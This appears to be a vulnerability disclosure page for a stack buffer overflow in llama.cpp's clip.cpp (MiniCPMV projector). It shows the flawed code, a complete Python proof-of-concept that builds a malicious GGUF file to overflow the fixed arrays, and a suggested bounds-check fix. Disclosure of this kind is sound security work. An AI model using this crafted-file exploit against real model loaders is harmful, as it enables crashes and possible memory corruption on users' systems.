Views
No views yet
tools/mtmd/clip.cpp:3001-30121// Fixed 1024-element stack arrays
2int bucket_coords_h[1024];
3int bucket_coords_w[1024];
4
5// Loops with attacker-controlled bounds
6for (int i = 0; i < pos_h; i++){
7 bucket_coords_h[i] = std::floor(70.0*i/pos_h); // overflow here
8}
9for (int i = 0; i < pos_w; i++){
10 bucket_coords_w[i] = std::floor(70.0*i/pos_w); // overflow here
11}1#!/usr/bin/env python3
2# make evil gguf file to crash minicpmv
3
4import struct
5
6def write_u32(f, val):
7 f.write(struct.pack('<I', val))
8
9def write_u64(f, val):
10 f.write(struct.pack('<Q', val))
11
12def write_str(f, s):
13 b = s.encode('utf-8')
14 write_u64(f, len(b))
15 f.write(b)
16
17def write_kv(f, key, typ, val):
18 write_str(f, key)
19 write_u32(f, typ)
20 if typ == 4: # uint32
21 write_u32(f, val)
22 elif typ == 8: # string
23 write_str(f, val)
24
25# Create malicious GGUF file
26with open('crash_2048.gguf', 'wb') as f:
27 # GGUF header
28 f.write(b'GGUF') # magic
29 write_u32(f, 3) # version
30 write_u64(f, 0) # no tensors
31 write_u64(f, 3) # 3 metadata pairs
32
33 # Target MiniCPMV projector
34 write_kv(f, "clip.projector_type", 8, "minicpmv")
35
36 # Set patch_size = 1 for maximum pos_h/pos_w
37 write_kv(f, "clip.vision.patch_size", 4, 1)
38
39 # Set image_size = 2048 -> pos_h = 2048 > 1024 = overflow
40 write_kv(f, "clip.vision.image_size", 4, 2048)clip.projector_type = "minicpmv"pos_h = image_size / patch_size = 2048 / 1 = 20481// Add bounds check
2if (pos_h > 1024 || pos_w > 1024) {
3 return false;
4}
5
6// Or use dynamic allocation
7std::vector<int> bucket_coords_h(pos_h);
8std::vector<int> bucket_coords_w(pos_w);